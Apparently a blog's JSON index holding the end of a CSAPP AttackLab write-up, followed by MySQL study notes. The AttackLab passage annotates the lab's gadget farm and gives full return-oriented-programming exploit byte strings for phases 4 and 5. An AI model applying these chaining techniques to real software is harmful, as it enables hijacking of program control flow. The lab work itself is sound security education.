在前面的情况下，我们都没有启用栈随机化和栈执行保护（在栈上执行代码本来就是一件很可疑的事情），那么就来了这种攻击方式。\n它要解决的还是上面的phase2和phase3的问题。\n这种攻击方式的思路就是说，我们不在栈上执行我们的代码，在它自己本身就有的代码里面挑挑拣拣来达到我们的目的，并且每次执行的指令后面都有c3这样就能不停的继续调用下去。\n汇编指令的相关字节码： # 这是它给我们的gadget表： # 0000000000401ab9 \u0026lt;start_farm\u0026gt;: 401ab9:\tb8 01 00 00 00 mov $0x1,%eax 401abe:\tc3 ret 0000000000401abf \u0026lt;addval_480\u0026gt;: 401abf:\t8d 87 6e a5 58 c3 lea -0x3ca75a92(%rdi),%eax ;2.3 58 c3 popq %rax (401ac3) ---1.1把rax设置成cookie的值 401ac5:\tc3 ret ; 就是这里，愚蠢的我一直把这里数错了导致几个小时没看出来为什么有segmentaion fault 0000000000401ac6 \u0026lt;getval_188\u0026gt;: 401ac6:\tb8 c8 89 c7 90 mov $0x90c789c8,%eax 401acb:\tc3 ret 0000000000401acc \u0026lt;addval_392\u0026gt;: 401acc:\t8d 87 58 91 c3 9e lea -0x613c6ea8(%rdi),%eax 401ad2:\tc3 ret 0000000000401ad3 \u0026lt;addval_406\u0026gt;: 401ad3:\t8d 87 ec ad d8 c3 lea -0x3c275214(%rdi),%eax 401ad9:\tc3 ret 0000000000401ada \u0026lt;getval_227\u0026gt;: 401ada:\tb8 65 48 89 c7 mov $0xc7894865,%eax ; 2.2 2.8 48 89 c7 movq %rax,%rdi(401adc) ---1.2把rdi设置成cookie值 401adf:\tc3 ret 0000000000401ae0 \u0026lt;getval_437\u0026gt;: 401ae0:\tb8 49 89 c7 90 mov $0x90c78949,%eax 401ae5:\tc3 ret 0000000000401ae6 \u0026lt;setval_348\u0026gt;: 401ae6:\tc7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi) 401aec:\tc3 ret 0000000000401aed \u0026lt;setval_136\u0026gt;: 401aed:\tc7 07 58 90 90 90 movl $0x90909058,(%rdi) 401af3:\tc3 ret 0000000000401af4 \u0026lt;mid_farm\u0026gt;: 401af4:\tb8 01 00 00 00 mov $0x1,%eax 401af9:\tc3 ret 0000000000401afa \u0026lt;add_xy\u0026gt;: 401afa:\t48 8d 04 37 lea (%rdi,%rsi,1),%rax ; 2.7(401afa) 这里就是直接设计好的 401afe:\tc3 ret 0000000000401aff \u0026lt;getval_314\u0026gt;: 401aff:\tb8 a9 c9 d6 90 mov $0x90d6c9a9,%eax 401b04:\tc3 ret 0000000000401b05 \u0026lt;addval_442\u0026gt;: 401b05:\t8d 87 48 09 e0 90 lea -0x6f1ff6b8(%rdi),%eax 401b0b:\tc3 ret 0000000000401b0c \u0026lt;addval_139\u0026gt;: 401b0c:\t8d 87 89 ca 90 90 lea -0x6f6f3577(%rdi),%eax 401b12:\tc3 ret 0000000000401b13 \u0026lt;addval_491\u0026gt;: 401b13:\t8d 87 1f 4b 89 d6 lea -0x2976b4e1(%rdi),%eax ; 2.6(401b17) mov %edx,%esi 401b19:\tc3 ret 0000000000401b1a \u0026lt;setval_367\u0026gt;: 401b1a:\tc7 07 bb 48 89 e0 movl $0xe08948bb,(%rdi) ; 2.1(401b1d) mov %rsp,%rax 401b20:\tc3 ret 0000000000401b21 \u0026lt;getval_215\u0026gt;: 401b21:\tb8 48 89 e0 c1 mov $0xc1e08948,%eax 401b26:\tc3 ret 0000000000401b27 \u0026lt;setval_192\u0026gt;: 401b27:\tc7 07 89 c1 92 90 movl $0x9092c189,(%rdi) 401b2d:\tc3 ret 0000000000401b2e \u0026lt;getval_418\u0026gt;: 401b2e:\tb8 89 ca 84 c0 mov $0xc084ca89,%eax ;2.5(401b2f) mov %ecx,%edx test %al,%al 401b33:\tc3 ret 0000000000401b34 \u0026lt;addval_318\u0026gt;: 401b34:\t8d 87 8b d6 84 c0 lea -0x3f7b2975(%rdi),%eax 401b3a:\tc3 ret 0000000000401b3b \u0026lt;setval_167\u0026gt;: 401b3b:\tc7 07 48 89 e0 94 movl $0x94e08948,(%rdi) 401b41:\tc3 ret 0000000000401b42 \u0026lt;setval_410\u0026gt;: 401b42:\tc7 07 df 89 ca 91 movl $0x91ca89df,(%rdi) 401b48:\tc3 ret 0000000000401b49 \u0026lt;setval_408\u0026gt;: 401b49:\tc7 07 95 48 81 e0 movl $0xe0814895,(%rdi) 401b4f:\tc3 ret 0000000000401b50 \u0026lt;setval_115\u0026gt;: 401b50:\tc7 07 88 d6 90 c3 movl $0xc390d688,(%rdi) 401b56:\tc3 ret 0000000000401b57 \u0026lt;setval_336\u0026gt;: 401b57:\tc7 07 48 89 e0 90 movl $0x90e08948,(%rdi) 401b5d:\tc3 ret 0000000000401b5e \u0026lt;addval_315\u0026gt;: 401b5e:\t8d 87 89 c1 a4 c0 lea -0x3f5b3e77(%rdi),%eax 401b64:\tc3 ret 0000000000401b65 \u0026lt;setval_400\u0026gt;: 401b65:\tc7 07 89 ca 28 d2 movl $0xd228ca89,(%rdi) 401b6b:\tc3 ret 0000000000401b6c \u0026lt;getval_226\u0026gt;: 401b6c:\tb8 88 d6 38 c0 mov $0xc038d688,%eax 401b71:\tc3 ret 0000000000401b72 \u0026lt;getval_388\u0026gt;: 401b72:\tb8 c9 c1 20 c9 mov $0xc920c1c9,%eax ; (401b75) 401b77:\tc3 ret 0000000000401b78 \u0026lt;getval_379\u0026gt;: 401b78:\tb8 68 89 e0 c3 mov $0xc3e08968,%eax 401b7d:\tc3 ret 0000000000401b7e \u0026lt;getval_495\u0026gt;: 401b7e:\tb8 89 d6 92 c3 mov $0xc392d689,%eax 401b83:\tc3 ret 0000000000401b84 \u0026lt;addval_434\u0026gt;: 401b84:\t8d 87 89 ca 28 d2 lea -0x2dd73577(%rdi),%eax 401b8a:\tc3 ret 0000000000401b8b \u0026lt;getval_382\u0026gt;: 401b8b:\tb8 4c 89 e0 c3 mov $0xc3e0894c,%eax 401b90:\tc3 ret 0000000000401b91 \u0026lt;addval_100\u0026gt;: 401b91:\t8d 87 c9 c1 84 c9 lea -0x367b3e37(%rdi),%eax 401b97:\tc3 ret 0000000000401b98 \u0026lt;setval_140\u0026gt;: 401b98:\tc7 07 f8 8b c1 c3 movl $0xc3c18bf8,(%rdi) 401b9e:\tc3 ret 0000000000401b9f \u0026lt;setval_104\u0026gt;: 401b9f:\tc7 07 88 c1 84 c0 movl $0xc084c188,(%rdi) 401ba5:\tc3 ret 0000000000401ba6 \u0026lt;addval_125\u0026gt;: 401ba6:\t8d 87 89 d6 90 c3 lea -0x3c6f2977(%rdi),%eax 401bac:\tc3 ret 0000000000401bad \u0026lt;getval_111\u0026gt;: 401bad:\tb8 16 a9 09 ca mov $0xca09a916,%eax 401bb2:\tc3 ret 0000000000401bb3 \u0026lt;getval_256\u0026gt;: 401bb3:\tb8 a9 ca 20 db mov $0xdb20caa9,%eax 401bb8:\tc3 ret 0000000000401bb9 \u0026lt;getval_170\u0026gt;: 401bb9:\tb8 89 c1 08 d2 mov $0xd208c189,%eax 401bbe:\tc3 ret 0000000000401bbf \u0026lt;setval_102\u0026gt;: 401bbf:\tc7 07 0e 89 c1 c3 movl $0xc3c1890e,(%rdi) ; 2.4(401bc2) mov %eax,%ecx 401bc5:\tc3 ret 0000000000401bc6 \u0026lt;getval_364\u0026gt;: 401bc6:\tb8 81 d6 90 90 mov $0x9090d681,%eax 401bcb:\tc3 ret 0000000000401bcc \u0026lt;setval_159\u0026gt;: 401bcc:\tc7 07 89 ca c1 ce movl $0xcec1ca89,(%rdi) 401bd2:\tc3 ret 0000000000401bd3 \u0026lt;end_farm\u0026gt;: 401bd3:\tb8 01 00 00 00 mov $0x1,%eax 401bd8:\tc3 ret 那么我们输入的字节码如下：\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 1a 40 00 00 00 00 00 6f 64 e6 14 00 00 00 00 dc 1a 40 00 00 00 00 00 11 19 40 00 00 00 00 00 一定要把地址数清楚孩子们，因为有一个地址我没有数清楚而浪费了很长时间，不过解决段错误也是一种学习。（很难蚌的住啊）\nphase5: # 据说这是最难的一层，不过既然已经接触了汇编语言，那还是来试试看！\n解题思路来自于上面的Blog，在栈随机化的情况下，把rsp指针作为一个参考点来找到我们需要的参数。\n设计的asm：\nphase5.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 \u0026lt;.text\u0026gt;: 0:\t48 89 e0 mov %rsp,%rax 3:\tc3 ret 4:\t48 89 c7 mov %rax,%rdi 7:\tc3 ret 8:\t58 pop %rax 9:\t90 nop a:\tc3 ret b:\t89 c1 mov %eax,%ecx d:\t90 nop e:\tc3 ret f:\t89 ca mov %ecx,%edx 11:\t84 c0 test %al,%al 13:\tc3 ret 14:\t89 d6 mov %edx,%esi 16:\t20 d2 and %dl,%dl 18:\tc3 ret 19:\t48 8d 04 37 lea (%rdi,%rsi,1),%rax 1d:\t48 89 c7 mov %rax,%rdi 20:\tc3 ret 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1d 1b 40 00 00 00 00 00 dc 1a 40 00 00 00 00 00 c3 1a 40 00 00 00 00 00 48 00 00 00 00 00 00 00 c2 1b 40 00 00 00 00 00 2f 1b 40 00 00 00 00 00 17 1b 40 00 00 00 00 00 fa 1a 40 00 00 00 00 00 dc 1a 40 00 00 00 00 00 22 1a 40 00 00 00 00 00 31 34 65 36 36 34 36 66 00 00 00 00 00 00 00 00 大功告成！！！抄别人写的就是简单啊（），如果说有难度，那其实在于你要写一串没有bug的汇编然后去找，但是看别人的就不难了（？）。\n","date":"20 March 2025","externalUrl":null,"permalink":"/csapp/csappattacklab/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e本期封面是动漫《Girls Band Cry》的主角团一行人参拜时的场景。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative group\"\u003eCSAPP:AttackLab \n    \u003cdiv id=\"csappattacklab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csappattacklab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!WARNING]\u003c/p\u003e","title":"CSAPP:AttackLab","type":"csapp"},{"content":" 本期封面是笔者早期最喜欢的动漫角色之一，《とある科学の超電磁砲》中的长点上机学园的天才少女布束砥信，至今笔者的github头像都是她\u0026hellip;\u0026hellip;\nMySQL基础 # ​\t1.2024.7.6,本文仅仅是笔者对于SQL语句的简单熟悉和复习的笔记，所以并不会对于更深刻的细节进行考究，也不会介绍怎么安装和配置MySQL的环境以及为什么我们要使用关系型数据库。Linux肯定是最方便的.\n​\t2.2025.10.8,为了找实习,我们进行第二次的学习,会深入一些关于SQL的细节问题.\n​\t3.练习,练习,练习,开始时不要过度依赖图形化工具.这会让你失去手写的能力!\n​\t4.2025.11.14,深入数据库原理,针对面试学习.\n数据库的连接:\nmariadb -q root -p 企业\u0026mdash;\u0026gt;远程连接.\n关系型数据库\u0026mdash;\u0026gt;二维表关联.\nDBMS\u0026mdash;\u0026gt;内置的数据库管理系统.\u0026mdash;\u0026gt;一个数据库下存放多张table.\n语言分类 # DDL Define\u0026mdash;\u0026gt;数据库定义语言,数据库,表,字段的创建等.\nDML Manipulation\u0026mdash;\u0026gt;数据库操作语言,数据CRUD.\nDQL Query\u0026mdash;\u0026gt;查询,查询数据记录.\nDCL Control\u0026mdash;\u0026gt;控制访问权限问题,其实就是数据库的用户权限的问题.\n查看当前正在操作的数据库:\nMariaDB [db01]\u0026gt; select database(); 这里的database都可以替换成schema.\n可以使用一些图形化操作工具.\n1.Table # 创建表：有B格地创建一张表\u0026mdash;\u0026gt;创建的时候使用约束.\n字段约束:\nnot null\u0026mdash;\u0026gt;非空\nunique\u0026mdash;\u0026gt;数据要唯一\nprimary key\u0026mdash;\u0026gt;主键(auto_increment 自动增长)\ndefault\u0026mdash;\u0026gt;未指定的情况下有一个默认值\nforeign key\u0026mdash;\u0026gt;外键约束,两张表建立连接\n查看表结构：\ndesc \u0026lt;table_name\u0026gt;; delete:drop table if exists; 查看所有表:\nshow tables; 更高级的,查看当时创建表时候的语句:\nshow create table \u0026lt;table_name\u0026gt;; 修改表字段\nalter table \u0026lt;name\u0026gt; add(增加字段)/change(修改名称)/modify(修改类型) \u0026lt;name\u0026gt; \u0026lt;name1\u0026gt;…… alter table \u0026lt;name1\u0026gt; rename to \u0026lt;name2\u0026gt; delete from student; 绝对不要用这样的方式去清空一张表\n1.遍历删除，会浪费时间和资源\n2.若设置auto increment 主键，那么再加入数据的时候会从原来增长的部分继续\ntruncate table student; 直接报废表并且创建一张和原来一样的新表\n2.Data # DML\u0026mdash;\u0026gt;对于数据进行操作.\n直接根据字段进行插入:\ninsert into teacher values (2, \u0026#39;Touma\u0026#39;, \u0026#39;Male\u0026#39;); 你也可以进行批量的操作:\u0026mdash;\u0026gt;这是直接针对字段进行插入的操作.\ninsert into teacher (name, sex) values (\u0026#39;Haruki\u0026#39;, \u0026#39;Male\u0026#39;), (\u0026#39;Oi\u0026#39;, \u0026#39;Female\u0026#39;); 1.插入的值和字段一一对应.\n2.字符串和日期包含在引号内部.\n3.插入数据满足约束的要求.\nupdate data:\n没有where就会更新整张表的所有行.\nupdate \u0026lt;tablename\u0026gt; set \u0026lt;field\u0026gt; = \u0026lt;newValue\u0026gt; where \u0026lt;field\u0026gt; = \u0026lt;value\u0026gt;; search data from table:\nselect \u0026lt;fieldname,…\u0026gt; from \u0026lt;tablename\u0026gt;; select* from\u0026lt;tablename\u0026gt; delete:\ndelete from teacher where id = 3; 还是不要delete from 做所谓的遍历删除.\n3.DataType # 数值类型/字符串类型/时间日期类型\n针对字段选取合适的数据类型,直接查询就可以.\n​\t日期 date/date_time\u0026mdash;\u0026gt;每次创建或者更新都要有create_time,update_time,id作为基础字段,其余自己增加的都是原型字段.\nDecimal数据存储原理？\u0026mdash;\u0026gt;以字符串的形式来进行存储.\n​\tdecimal(5,2)\u0026mdash;\u0026gt;5代表整个数字长度,2代表小数位数的长度.\nenum枚举类型：仅能选取其中已经有的 元素来存储，代表从一开始的数字\nset集合类型:能从集合中选取多个元素进行存储——用户兴趣标签\nset存储原理？？？\nvarchar和char类型? # ​\t1.varchar 是可变⻓度的字符类型，原则上最多可以容纳 65535 个字符，但考虑字符集，以及 MySQL 需要 1 到2个字节来表示字符串⻓度，所以实际上最⼤可以设置到 65533。\n​\t2.char 是固定⻓度的字符类型，当定义⼀个 CHAR(10) 字段时，不管实际存储的字符⻓度是多少，都只会占⽤ 10个字符的空间。如果插⼊的数据⼩于 10 个字符，剩余的部分会⽤空格填充。\nblob(Binary Large Object) and text # ​\t1.blob⽤于存储⼆进制数据，⽐如图⽚、⾳频、视频、⽂件等；但实际开发中，我们都会把这些⽂件存储到 OSS 或者⽂件服务器上，然后在数据库中存储⽂件的 URL。 ​\t2.text ⽤于存储⽂本数据，⽐如⽂章、评论、⽇志等。\n4.列属性完整性(重点) # auto_increment 必须是 primarykey主键 primary key主键：唯一性\t一组或者一个字段 # 1.保证数据的完整性,和一致性.\n2.加快数据的查询速度\u0026mdash;\u0026gt;用来做表的关联\nalter table \u0026lt;tablename\u0026gt; add primary key (\u0026lt;filedname\u0026gt;......); -- 添加主键，多个字段就是组合键 alter table \u0026lt;tablename\u0026gt; drop primary key; -- 删除主键 复合主键解决的问题\nunique唯一键\n和primary的区别：可以为null，不和其他表产生关联，但是必须唯一（null不唯一）\nalter table \u0026lt;tablename\u0026gt; drop index \u0026lt;filedname\u0026gt;; comment 注释问题\nSQL内注释和代码注释\n数据库的完整性问题\nForeign Key（外键约束技术） # 怎么在两张表之间建立联系？\n主表：\n建立从表：\u0026mdash;\u0026gt;创建的语法要注意.\n这是物理外键:禁用,影响效率,容易引发死锁的问题.\n实际开发中我们采用逻辑外键,在业务层面来解决问题.\u0026mdash;\u0026gt;交给代码层面来处理?\n从表：\nalter table \u0026lt;tablename\u0026gt; add foreign key (\u0026lt;filedname\u0026gt;) references \u0026lt;tablename\u0026gt;(\u0026lt;filedname\u0026gt;); show create table \u0026lt;tablename\u0026gt;; 查看创建的表结构并且删除外键\n当主表中的数据发生变化的时候，从表中的数据应该如何修改？\n置空和级联的操作（在创建表的时候就要声明清楚） # 置空：主表中的数据被删除，那么从表中的数据依然保存，但是外键的被删除的字段为NULL；\n级联：主表中的数据发生修改，从表中的外键对应字段的数据全部发生修改；\n如图：删除——set null\n5.数据库设计思维 # ​\t分析业务模块之间的关系.\u0026mdash;\u0026gt;这个设计可能是非常复杂的,我觉得实习生一般不会设计,项目应该会交给DBA?\na.基本概念 # 关系：两张表通过共同的字段来确立数据的完整性\n行——一条数据——实体\n列——一个字段——属性\n数据冗余：牺牲空间，提升查询性能（高考总分）\nb.实体之间的关系 # 一对多(学生表和食堂消费记录之间的关系)\n一对一(比如用户和身份信息\u0026mdash;\u0026gt;表拆分) 比如加入外键,关联主表的主键,然后把把这个外键设置成unique即可.\n多对一(大学选课,建立中间表,建立两个外键关联双方的主键,相当于这个第三方表存放了这些选课的信息)\n多对多\nc.三大范式 # 原子性,比如地址要拆分成省市县之类的.\nCodd第一范式：确保字段的原子性，一个字段不可以再分 2018-2019 —— 2018 2019\n不加入无用的信息,我感觉这两个讲的是一个东西.\nCodd第二范式：非键字段必须依赖于主键字段（无关的字段不应当加入，一张表只描述一种信息）\n?查询信息的时候不能查询到冗余信息.\nCodd第三范式：消除传递依赖——根据实际情况，我们到底要不要考虑加入数据冗余的处理\n建表的时候要考虑什么? # ​\t⾸先需要考虑表是否符合数据库的三⼤范式，确保字段不可再分，消除**⾮主键依赖**，确保字段仅依赖于主键等。 ​\t然后在选择字段类型时，应该尽量选择合适的数据类型。 ​\t在字符集上，尽量选择 utf8mb4，这样不仅可以⽀持中⽂和英⽂，还可以⽀持表情符号等。 ​\t当数据量较⼤时，⽐如上千万⾏数据，需要考虑分表。⽐如订单表，可以采⽤⽔平分表的⽅式来分散单表存储压⼒。\n6.*单表查询 # DQL,查询是SQL的重点问题,因为这也是BS软件操作中最为频繁的.\na.基本关键字 # select # 比如说我们查看一张table的结构并且进行查找:\ndesc tb_emp; select id, username, tb_emp.password from tb_emp; select * from tb_emp;-- *返回所有的字段(不直观而且性能差(为什么?)) -- SQL解析* 要进行元数据的查找操作 select name as nickname, password as fucking_ps from tb_emp;-- 作为别名来返回 select distinct job from tb_emp;-- distinct去重 还有很多其余的用法\nselect查询语句的顺序? # ​\t先执⾏ FROM 确定主表，再执⾏ JOIN 连接，然后 WHERE 进⾏过滤，接着 GROUP BY 进⾏分组,HAVING过滤聚合结果，SELECT 选择最终列，ORDER BY 排序，最后 LIMIT 限制返回⾏数。\n​\tWHERE 先执⾏是为了减少数据量，HAVING 只能过滤聚合数据，ORDER BY 必须在 SELECT 之后排序最终结果,LIMIT 最后执⾏以减少数据传输。\n​\t这个执⾏顺序与编写 SQL 语句的顺序不同，这也是为什么有时候在 SELECT ⼦句中定义的别名不能在 WHERE ⼦句中使⽤的原因，因为 WHERE 是在 SELECT 之前执⾏的.\n​\tLIMIT在最后执行:因为 LIMIT 是在最终结果集上执⾏的，如果在 WHERE 之前执⾏ LIMIT，那么就会先返回所有⾏，然后再进⾏LIMIT 限制，这样会增加数据传输的开销.\nsql的隐式转换 # MariaDB [(none)]\u0026gt; select 1 + 1.0; +---------+ | 1 + 1.0 | +---------+ | 2.0 | +---------+ 1 row in set (0.001 sec) MariaDB [(none)]\u0026gt; select \u0026#39;1\u0026#39; + 2; +---------+ | \u0026#39;1\u0026#39; + 2 | +---------+ | 3 | +---------+ 1 row in set (0.000 sec) 整数转换成浮点数,字符串转换成整数.\nSQL的语法树解析 # ​\tSQL 语法树解析是将 SQL 查询语句转换成抽象语法树 —— AST 的过程，是数据库引擎处理查询的第⼀步，也是防⽌ SQL 注⼊的重要⼿段。\nSELECT id, name FROM users WHERE age \u0026gt; 18; 1.拆解识别关键字:\n[SELECT] [id] [,] [name] [FROM] [users] [WHERE] [age] [\u0026gt;] [18] [;] 2.构建抽象语法树.\nSELECT ├── COLUMNS: id, name ├── FROM: users ├── WHERE │\t├── CONDITION: age \u0026gt; 18 3.检查是否存在 + 权限验证\nfrom # 指定要查的表；返回两张表的笛卡尔积\ndual # 默认的一个虚拟表，单行单列\nwhere # 限制select查询条件 \u0026lt; ≤ \u0026gt; ≥ or and……\n举几个例子:\nselect * from tb_emp where id = 3; select * from tb_emp where id \u0026lt;= 5; select * from tb_emp where job is null;-- 判断是否有值 要用is null/ is not null select * from tb_emp where job is not null; select * from tb_emp where password != \u0026#39;123456\u0026#39;; select * from tb_emp where entrydate \u0026gt;= \u0026#39;2000-01-01\u0026#39; and entrydate \u0026lt;= \u0026#39;2010-01-01\u0026#39;; select * from tb_emp where entrydate between \u0026#39;2000-01-01\u0026#39; and \u0026#39;2010-01-01\u0026#39;;-- 限定日期的范围 select * from tb_emp where job in (2, 3, 4); select * from tb_emp where name like \u0026#39;__\u0026#39;;-- 模糊匹配 _匹配一个字符 %匹配任意字符 select * from tb_emp where name like \u0026#39;张%\u0026#39;; in # 限定查询的字段的值在一个范围之内\nbetween…and… # 限制查询的范围在给定的闭区间内部\nis null # 查看是空或者非空，简单\n*几种常见的聚合函数 # count max min avg sum\n-- count 1.数量统计 2.count(常量) 3.count(*) select count(id) from tb_emp; select count(distinct job) from tb_emp;-- 不重复的工作种类 select count(114514); select count(*) from tb_emp;-- 推荐使用这个*,底层进行了优化的处理. -- min max 选取极值 select min(tb_emp.entrydate) from tb_emp; select max(tb_emp.entrydate) from tb_emp; select avg(tb_emp.id) from tb_emp; select sum(id) from tb_emp; [!TIP]\n**Q:select count(*) and select count(1); **\nwhat’s the difference?\n​\t在 InnoDB 引擎中， COUNT(1) 和 COUNT(*) 没有区别，都是⽤来统计所有⾏，包括 NULL。 如果表有索引， COUNT(*) 会直接⽤索引统计，⽽不是全表扫描，⽽ COUNT(1) 也会被 MySQL 优化为COUNT(*) 。COUNT(列名) 只统计列名不为 NULL 的⾏数。\n​\t另外，MySQL 8.0 官⽅⼿册有明确说明，InnoDB 引擎对 SELECT COUNT(*) 和 SELECT COUNT(1) 的处理⽅式完全⼀致，性能并⽆差异。\nlike模糊查询——通配符 # group by 分组查询 # 不抽象,其实就是根据某个字段来进行分组.\n将某一列数据作为一个整体来进行纵向的计算.\nselect \u0026lt;function-name\u0026gt;(\u0026lt;fieldname1\u0026gt;) as \u0026#39;alias1\u0026#39;, \u0026lt;fieldname2\u0026gt; as \u0026#39;alias2\u0026#39; group by \u0026lt;fieldname2\u0026gt;;-- 要根据哪个字段去查询 比如想求男性和女性的平均年龄：\n利用group_concat函数查询对应字段对应的实体\n进行一些比较复杂的查询:\nselect count(*) as \u0026#39;number\u0026#39; ,tb_emp.gender as \u0026#39;gender\u0026#39; from tb_emp group by gender; select job as \u0026#39;job\u0026#39;, count(*) as \u0026#39;number\u0026#39; from tb_emp where entrydate \u0026lt;= \u0026#39;2015-01-01\u0026#39; group by job having number \u0026gt;= 2; having # 就是用聚合函数来过滤分组之后产生的数据.\n特性 WHERE 子句 HAVING 子句 执行阶段 在数据分组之前执行。 在数据分组之后、聚合函数计算完毕后执行。 作用对象 作用于原始表中的行。 作用于 GROUP BY 产生的组。 可否使用聚合函数 不能直接使用聚合函数进行过滤。 必须使用聚合函数或分组字段进行过滤。 和where一样作为条件筛选，但是：\n1.where是根据条件对于实际存在于数据库中的数据进行筛选\n分组之前where先进行一次过滤,分组之后having再进行过滤.\n2.having对于查询之后的虚拟表使用——比如配合group_by(此时就不能使用where条件来处理)\nwhere不能对聚合函数进行作用.\norder by # 排序的函数.\nasc升序,desc降序.\nselect * from tb_emp order by entrydate asc, update_time desc; 前一个字段的值相同的时候才会进行下一个字段的排序.\n*limit # 选取顺序中的下标范围\n比如实现用户界面的分页条,就利用limit来进行查询.\u0026mdash;\u0026gt;分页查询.\n有点重点是因为是分页查询的实现原理.\nselect \u0026lt;fieldname\u0026gt; from \u0026lt;tablename\u0026gt; limit \u0026lt;start-index\u0026gt;,\u0026lt;length\u0026gt;; select * from tb_emp limit 5;-- 忽略起始索引. select * from tb_emp limit 5, 5;-- 直接计算起始索引,要进行页码的换算. distinct # 去重复关键字\n默认情况下有all\nselect (all) \u0026lt;fieldname\u0026gt; from \u0026lt;tablename\u0026gt;; 至此，单表查询基础结束。\n一些组合查询:\n流程控制函数,基本查询.\nselect * from tb_emp where name like \u0026#39;张%\u0026#39; and gender = 1 and (entrydate \u0026gt;= \u0026#39;2000-01-01\u0026#39; and entrydate \u0026lt;= \u0026#39;2015-12-31\u0026#39;) order by update_time desc limit 10; -- 利用流程函数if来进行展示 select if(tb_emp.gender = 1, \u0026#39;Male\u0026#39;, \u0026#39;Female\u0026#39;) as \u0026#39;Gender\u0026#39;, count(*) as \u0026#39;Number\u0026#39; from tb_emp group by gender; -- case控制 select case job when 1 then \u0026#39;Sensei\u0026#39; when 2 then \u0026#39;Mamiko\u0026#39; when 3 then \u0026#39;Bro\u0026#39; else \u0026#39;GOGOGO\u0026#39; end as \u0026#39;Job\u0026#39;, count(*) as \u0026#39;Number\u0026#39; from tb_emp group by job; 7.多表查询 # 就是从多张表中进行连接式的查询.\n1.union # select… + union + DISTINCT + select… 对应字段个数必须相等\n2.join # 内连接 # 这都是内连接的方式:\n-- 这是隐式的内连接 select tb_emp.name, tb_dept.name from tb_emp,tb_dept where tb_emp.dept_id = tb_dept.id; -- 这是显式的内连接 select tb_emp.name, tb_dept.name from tb_emp inner join tb_dept on tb_emp.dept_id = tb_dept.id; 用两个表创建公共字段进行连接——内连接——有多张表就用多个inner进行连接\n内连接仅查询共有的数据.\nselect f1,f2 from t1 inner join t2 on t1.f3=t2.f4 (having score \u0026gt; 90); left join 以左表为一个基准（就算左边没有也要写上去 right join 同理）\u0026mdash;\u0026gt;意思就是完全包含左表的数据.\n这个意思就是即使左边没有部门,我们也会把这一行给列出来.\n你可以直接把这里的左右想象成物理上的左右连接.\nselect tb_emp.name as \u0026#39;empName\u0026#39;, tb_dept.name as \u0026#39;depName\u0026#39; from tb_emp left outer join tb_dept on tb_emp.dept_id = tb_dept.id; cross join返回两张表的笛卡尔积\u0026mdash;\u0026gt;增加条件的目的就是消除无效的笛卡尔积.\nselect* from t1 cross join t2; natural join自动寻找公共字段并且建立inner join的连接\n没有公共字段就返回cross join的结果\nusing\n当两张表的字段完全相同的时候，using指定建立连接的公共字段\n8.子查询 # 用一个select语句返回的数据范围作为限制的基准（用in和not in 来控制）\n只要存在就全部查询 exists and not exists\nin和exists的区别? # ​\t当使⽤ IN 时，MySQL 会⾸先执⾏⼦查询，然后将⼦查询的结果集⽤于外部查询的条件。这意味着⼦查询的结果集需要全部加载到内存中。 ​\t⽽ EXISTS 会对外部查询的每⼀⾏，执⾏⼀次⼦查询。如果⼦查询返回任何⾏，则 EXISTS 条件为真。 EXISTS 关注的是⼦查询是否返回⾏，⽽不是返回的具体值。\n​\tIN 适⽤于**⼦查询结果集较⼩的情况。如果⼦查询返回⼤量数据**， IN 的性能可能会下降，因为它需要将整个结果集加载到内存。 ​\t⽽ EXISTS 适⽤于**⼦查询结果集可能很⼤的情况**。由于 EXISTS 只需要判断**⼦查询是否返回⾏，⽽不需要加载整个结果集，因此在某些情况下性能更好，特别是当⼦查询可以使⽤索引**时。\nNULL值的问题 # ​\tIN : 如果⼦查询的结果集中包含 NULL 值，可能会导致意外的结果。例如， WHERE column IN (subquery) ，如果 subquery 返回 NULL ，则 column IN (subquery) 永远不会为真，除⾮ column 本身也为 NULL 。 ​\tEXISTS : 对 NULL 值的处理更加直接。 EXISTS 只是检查⼦查询是否返回⾏，不关⼼⾏的具体值，因此不受 NULL值的影响。\n举几个很好的例子:\n-- 子查询 -- 1.标量子查询,查询只会返回一个结果,比如查询一个部门的所有员工(一行一列) select * from tb_emp where tb_emp.dept_id = (select id from tb_dept where tb_dept.name = \u0026#39;教研部\u0026#39;); -- 2.列子查询,返回一列的数据,in判断是不是在这一列数据内部 select * from tb_emp where dept_id in (select id from tb_dept where name = \u0026#39;教研部\u0026#39; or name = \u0026#39;咨询部\u0026#39;); -- 3.行子查询,返回的是一行的数据,可以有多列,怎么对齐---\u0026gt;查询的时候采用组合字段处理 select * from tb_emp where (entrydate, job) = (select entrydate, job from tb_emp where name = \u0026#39;韦一笑\u0026#39;); -- 4.表子查询,把查询的表作为临时表再次进行查询 select e.name as \u0026#39;empName\u0026#39;, d.name as \u0026#39;deptName\u0026#39; from (select * from tb_emp where entrydate \u0026gt; \u0026#39;2006-01-01\u0026#39;) e, tb_dept d where e.dept_id = d.id; ​\t至此，所有基础内容结束，以上的内容都是对于一名实习生来说最为重要的内容（每一种语法单独看来都是很好理解的，但是都联合起来的话就显得很困难），以下为扩展,但是大厂应该问的比较多.\n*扩展内容： # 1.视图(View) # 作用：简化SQL查询；掩盖敏感数据\n创建视图\n以后就可以直接查询\nalter修改视图\ndrop直接删除视图\n视图底层算法（在使用子查询创建视图的时候）\nunchecked\n1.temp table 临时表算法\n2.merge 合并算法\nQ:有什么区别？\n2.*事务（Transaction） # 